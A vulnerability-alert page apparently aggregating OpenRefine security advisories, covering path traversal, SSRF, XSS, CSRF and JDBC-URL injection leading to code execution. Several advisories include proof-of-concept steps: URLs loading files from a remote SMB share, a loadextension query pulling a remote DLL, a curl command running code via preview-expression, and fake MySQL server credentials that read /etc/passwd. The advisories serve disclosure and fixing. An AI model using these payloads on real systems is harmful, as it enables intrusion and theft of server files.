Where
-Infinity
0
Severity
7.1
EPSS
0.02%
Path Traversal
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N

Last updated 10 February 2025

1 / 3
Source: Ubuntu
First published (updated )
Severity
9.1
SSRF, XSS, Path Traversal
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Summary

The Butterfly framework uses the java.net.URL class to refer to (what are expected to be) local resource files, like images or templates. This works: "opening a connection" to these URLs opens the local file. However, if a file:/ URL is directly given where a relative path (resource name) is expected, this is also accepted in some code paths; the app then fetches the file, from a remote machine if indicated, and uses it as if it was a trusted part of the app's codebase.

This leads to multiple weaknesses and potential weaknesses:

An attacker that has network access to the application could use it to gain access to files, either on the the server's filesystem (path traversal) or shared by nearby machines (server-side request forgery with e.g. SMB). An attacker that can lead or redirect a user to a crafted URL belonging to the app could cause arbitrary attacker-controlled JavaScript to be loaded in the victim's browser (cross-site scripting). If an app is written in such a way that an attacker can influence the resource name used for a template, that attacker could cause the app to fetch and execute an attacker-controlled template (remote code execution).

Details

The edu.mit.simile.butterfly.ButterflyModuleImpl.getResource method converts a resource name into an URL, for instance:

images/logo-gem-126.svg file:/C:/Users/Wander/IdeaProjects/OpenRefine/main/webapp/modules/core/images/logo-gem-126.svg

If the resource name already starts with file:/, it is passed through unmodified (line 287). There is no check that the resulting URL is inside the expected directory or on the same machine.

The default implementation for process in ButterflyModuleImpl is to serve a named resource, which makes it vulnerable. The Velocity template library is bound to the same getResource implementation through the ButterflyResourceLoader class, which means it is also vulnerable if template resource names can somehow be influenced by an attacker.

PoC

This demonstration has been tested with OpenRefine on a Windows machine. Start OpenRefine, create a file (here example.js) with some contents, then concatenate the OpenRefine URL and its file:/ URL, as follows:

http://localhost:3333/file:/C:/Users/Wander/example.js

The file is read and sent to the browser. Then, visit:

http://localhost:3333/file:%2f%2fwandernauta.nl/public/demo.html

Assuming there are no firewalls in the way, the HTML page is retrieved from the public SMB (Samba) network share and sent to the browser, which executes the embedded JavaScript.

In the case of OpenRefine specifically, to demonstrate the attacker-controlled template name case:

http://localhost:3333/file:%2f%2fwandernauta.nl/public/index

An index.vt template containing the snippet above is retrieved from the same share, which is then executed; the Windows calculator opens.

Impact

Depending on how the framework is used: path traversal, XSS, SSRF; potentially RCE.

1 / 2
Source: GitHub
First published (updated )
Severity
6.1
XSS
AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:H/A:N

Summary

The built-in "Something went wrong!" error page includes the exception message and exception traceback without escaping HTML tags, enabling injection into the page if an attacker can reliably produce an error with an attacker-influenced message.

It appears that the only way to reach this code in OpenRefine itself is for an attacker to somehow convince a victim to import a malicious file, as in GHSA-m88m-crr9-jvqq, which may be difficult. However, out-of-tree extensions may add their own calls to respondWithErrorPage.

Details

The Command.respondWithErrorPage (through HttpUtilities.respondWithErrorPage) function renders the Velocity template error.vt, which contains the $message and $stack variables, which are included in the response as-is:

https://github.com/OpenRefine/OpenRefine/blob/master/main/webapp/modules/core/error.vt#L52-L53

However, the message can contain HTML tags, which would then be interpreted by the browser. A mitigation would be to escape both the message and stack trace, perhaps using Guava's HTML escaper.

Flows that report errors as application/json responses are not interpreted by the browser and so not affected by this issue.

PoC

In OpenRefine, use the "Import project" feature to import the following URL (or upload it as a file): https://wandernauta.nl/oa/example.tar.gz

A JavaScript alert appears.

Impact

Execution of arbitrary JavaScript in the victim's browser, provided the victim can be convinced to import a malicious project. The script can do anything the user can do.

1 / 3
Source: GitHub
First published (updated )
Severity
8.8
SQL Injection
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

Summary

In the database extension, the "enableloadextension" property can be set for the SQLite integration, enabling an attacker to load (local or remote) extension DLLs and so run arbitrary code on the server.

The attacker needs to have network access to the OpenRefine instance.

Details

The database extension, with some restrictions, lets users connect to any database they wish by filling in different parts of the JDBC URL that is used. For the SQLite integration, the extension expects a file path pointing to a database file (or a place where such a file can be created). This means that users can:

Read files on local or SMB filesystems, provided they are SQLite databases. Write to files on local or SMB filesystems, as long as those files are either SQLite databases or empty.

This seems to be the expected behavior.

However, by adding ?enableloadextension=true to the filename, a feature is toggled that additionally allows loading and executing shared libraries mentioned in queries, leading to remote code execution. On Windows specifically, those libraries may also come from shared folders.

Possible mitigation and hardening steps could include:

- Having users upload the SQLite database file they want to look at, storing it under some safe name, then opening that, rather than accepting a file path - If that is not feasible: making the path relative to, and checking that it does not escape, the workspace directory - If that is also not feasible: adding additional checks so that the path at least does not point to other machines or add JDBC parameters - Always using the READONLY open mode - Explicitly setting enableloadextension to off - Enforcing stricter limits and similar precautions

PoC

Tested on a Windows 11 machine.

1. Start OpenRefine and choose "Create project", "Database", database type "SQLite". 2. Type a writable file path followed by ?enableloadextension=true. 3. Click Connect. The connection should succeed. 4. Use SELECT loadextension('\\wandernauta.nl\public\libcalculator.dll'); as the query. 5. Assuming there are no firewalls in the way, a few Windows calculators should open.

The same file is available from https://wandernauta.nl/libcalculator.dll if needed.

Impact

Remote code execution for attackers with network access to OpenRefine.

1 / 3
Source: GitHub
First published (updated )
Severity
8.1
XSS, CSRF
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

Summary

The export-rows command can be used in such a way that it reflects part of the request verbatim, with a Content-Type header also taken from the request.

An attacker could lead a user to a malicious page that submits a form POST that contains embedded JavaScript code. This code would then be included in the response, along with an attacker-controlled Content-Type header, and so potentially executed in the victim's browser as if it was part of OpenRefine.

The attacker must know a valid project ID of a project that contains at least one row.

Details

The malicious form sets contentType to text/html (ExportRowsCommand.java line 101) and preview to true (line 107). This combination causes the browser to treat what OpenRefine thinks of as an export preview as a regular webpage.

It would be safer if the export-rows command did not allow overriding the Content-Type header at all, instead relying on the exporter to provide the correct Content-Type. It could also require a CSRF token. As an additional measure, it could add a Content-Security-Policy header to the response disabling scripts and such entirely.

At least the CSV exporter (separator and lineSeparator fields) and templating exporter (any field) are affected. It may also be possible to inject into the dateSettings.custom field or the SQL exporter default value field, if the project contains date or null cells.

PoC

An example form that demonstrates the issue is available on https://wandernauta.nl/os/.

Impact

Execution of arbitrary JavaScript in the user's browser. The attacker-provided code can do anything the user can do, including deleting projects, retrieving database passwords, or executing arbitrary Jython or Closure expressions, if those extensions are also present.

1 / 3
Source: GitHub
First published (updated )
Severity
8.8
Code Injection, CSRF
AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:L

Summary

Lack of CSRF protection on the preview-expression command means that visiting a malicious website could cause an attacker-controlled expression to be executed. The expression can contain arbitrary Clojure or Python code.

The attacker must know a valid project ID of a project that contains at least one row.

Details

The com.google.refine.commands.expr.PreviewExpressionCommand class contains the following comment: / The command uses POST but does not actually modify any state so it does not require CSRF. /

However, this appears to be false (or no longer true). The expression being previewed (executed) can be written in GREL, Python, or Clojure. Since there are no restrictions on what code can be executed, the expression can do anything the user running OpenRefine can do. For instance, the following expressions start a calculator:

clojure:(.exec (Runtime/getRuntime) "gnome-calculator")

jython:import os;os.system("gnome-calculator")

The lack of restrictions on expressions is arguably not a problem if the user is typing their own expressions into OpenRefine: they could have just as well typed them into Clojure or Python directly. However, since the preview-expression command does not check for a CSRF token, the expression can actually come from a HTML form submitted by a different origin, including arbitrary websites.

Issue #2164 suggested adding CSRF protection to all endpoints, but this endpoint was skipped (and the above comment added) in the associated PR #2182.

PoC

An example "malicious" page is at https://wandernauta.nl/or/ (of course, actual malicious pages would not wait for the victim to press the submit button).

The following curl command (substituting the project ID) also demonstrates the issue:

sh curl -d project=123456789 -d cellIndex=1 -d rowIndices='[0]' -d 'expression=clojure:(.exec (Runtime/getRuntime) "gnome-calculator")' http://localhost:3333/command/core/preview-expression/

Impact

CSRF into remote code execution, provided the attacker knows at least one project ID in the victim's workspace and can convince the victim to open a malicious webpage.

1 / 3
Source: GitHub
First published (updated )
Severity
8.1
XSS
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

Summary

The /extension/gdata/authorized endpoint includes the state GET parameter verbatim in a <script> tag in the output, so without escaping.

An attacker could lead or redirect a user to a crafted URL containing JavaScript code, which would then cause that code to be executed in the victim's browser as if it was part of OpenRefine.

Details

The state GET parameter is read from:

extensions/gdata/module/MOD-INF/controller.js:105

It is used (as $state) in:

extensions/gdata/module/authorized.vt:43

There is no check that the state has the expected format (base64-encoded JSON with values like "openrefine123..." and "cb123..."), or that the page was indeed opened as part of the authorization flow.

PoC

Navigate to:

http://localhost:3333/extension/gdata/authorized?state=%22,alert(1),%22&error=

An alert box pops up.

The gdata extension needs to be present. No other configuration is needed; specifically, it is not required to have a client ID or client secret set.

Impact

Execution of arbitrary JavaScript in the user's browser. The attacker-provided code can do anything the user can do, including deleting projects, retrieving database passwords, or executing arbitrary Jython or Closure expressions, if those extensions are also present.

1 / 3
Source: GitHub
First published (updated )
Severity
9.8
SQL Injection
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary An remote Code exec vulnerability allows any unauthenticated user to exec code on the server.

Details Hi,Team, i find openrefine support to import data from database,When use mysql jdbc to connect to database,It is vulnerable to jdbc url attacks,for example,unauthenticated attacker can get rce on the server through the mysql userializable If the mysql-connector-java version used on the server side is less than 8.20. In order for the server to enable deserialization we need to set the autoDeserialize and queryInterceptors parameters in the connection string,As same with https://github.com/OpenRefine/OpenRefine/security/advisories/GHSA-qqh2-wvmv-h72m, since the concatenation string is a direct concatenation, it is possible to inject the required parameters after the other parameters. !image

And there is a commons-beanutils dependency library on the server side, which contains an RCE-capable deserialization exploit chain

PoC env: centos 7 openrefine 3.7.4 jdk11 mysql-connector-java version 8.14.0 you can use the tool https://github.com/4ra1n/mysql-fake-server to running a malicious mysql server. for example use the CB 1.9 Gadget to exec command touch /tmp/hacked. !image set the user to base64ZGVzZXJfQ0JfdG91Y2ggL3RtcC9oYWNrZWQ=(touch /tmp/hacked base64 encode),dataBaseName to test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor#. !image !image command touch /tmp/hacked is executed. !image

Impact An remote Code exec vulnerability allows any unauthenticated user to exec code on the server.

1 / 3
First published (updated )
Severity
7.5
SQL Injection
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Summary An arbitrary file read vulnerability allows any unauthenticated user to read the file on the server.

Details Hi,Team, i find openrefine support to import data from database,When use mysql jdbc to connect to database,It is vulnerable to jdbc url attacks,for example,unauthenticated attacker can read the file on the server. There are some differences in utilization depending on the version of the mysql-connector dependency on the server side. 1. mysql-connector-java version > 8.14 The default value of allowLoadLocalInfile on the server side is false in this case.We need to manually set this value to true in the connection string. Since the way to get the databaseurl in com/google/refine/extension/database/mysql/MySQLConnectionManager.java is to splice the individual configurations directly, we can set the allowLoadLocalInfile parameter after the other parameters(for example the databaseName parameter ). !image !image !image 2. mysql-connector-java version <= 8.14 The default value of allowLoadLocalInfile on the server side is true in this case.so wo don't need do anything,Just connect to our malicious server.

PoC env: centos 7 openrefine 3.7.4 jdk11 mysql-connector-java version 8.30.0

you can use the tool https://github.com/4ra1n/mysql-fake-server to running a malicious mysql server. !image for example,to read the /etc/passwd file. !image set the username to base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q= and Database name to test?allowLoadLocalInfile=true# (for mysql-connector-java version <= 8.14,just setting the database name normally) and test to connect your malicious mysql server. you can get the file in your fake-server-files directory. !image

Impact

An arbitrary file read vulnerability allows any unauthenticated user to read the file on the server.

1 / 3
First published (updated )
Severity
6.5
SSRF
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

OpenRefine <= v3.5.2 contains a Server-Side Request Forgery (SSRF) vulnerability, which permits unauthorized users to exploit the system, potentially leading to unauthorized access to internal resources and sensitive file disclosure.

First published (updated )
Severity
7.5
XEE
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

The data import functionality in OpenRefine through 3.1 allows an XML External Entity (XXE) attack through a crafted (zip) file, allowing attackers to read arbitrary files.

First published (updated )
Severity
6.5
Path Traversal
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

OpenRefine before 3.2 beta allows directory traversal via a relative pathname in a ZIP archive.

First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203